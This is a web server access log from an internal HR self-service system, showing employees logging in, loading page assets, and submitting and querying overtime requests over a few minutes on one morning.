192.168.11.234 - - [25/May/2023:08:28:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.234 - - [25/May/2023:08:28:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:28:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.234 - - [25/May/2023:08:29:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.234 - - [25/May/2023:08:29:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:29:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9969939945712032 HTTP/1.1" 200 8444
192.168.11.234 - - [25/May/2023:08:29:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9969939945712032 HTTP/1.1" 200 8444 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:29:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9969939945712032 HTTP/1.1" 200 14428
192.168.11.234 - - [25/May/2023:08:29:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9969939945712032 HTTP/1.1" 200 14428 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9969939945712032" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:30:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:30:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.234 - - [25/May/2023:08:30:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7377
192.168.11.234 - - [25/May/2023:08:30:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7377 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:30:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166158 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.234 - - [25/May/2023:08:30:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166158
192.168.11.97 - - [25/May/2023:08:32:05 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.97 - - [25/May/2023:08:32:05 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.97 - - [25/May/2023:08:32:19 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507 "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9814
192.168.11.97 - - [25/May/2023:08:32:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9814 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:38 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:32:38 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.97 - - [25/May/2023:08:33:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:08:33:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:08:33:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:06 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.97 - - [25/May/2023:08:33:06 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.97 - - [25/May/2023:08:33:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.97 - - [25/May/2023:08:33:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.97 - - [25/May/2023:08:33:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:08:33:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.97 - - [25/May/2023:08:33:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.97 - - [25/May/2023:08:33:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30
192.168.11.97 - - [25/May/2023:08:33:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.97 - - [25/May/2023:08:33:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:43 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.97 - - [25/May/2023:08:33:43 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:44 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.97 - - [25/May/2023:08:33:44 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.97 - - [25/May/2023:08:33:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:08:33:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.97 - - [25/May/2023:08:33:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851
192.168.11.222 - - [25/May/2023:08:33:51 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; Touch; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [25/May/2023:08:33:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
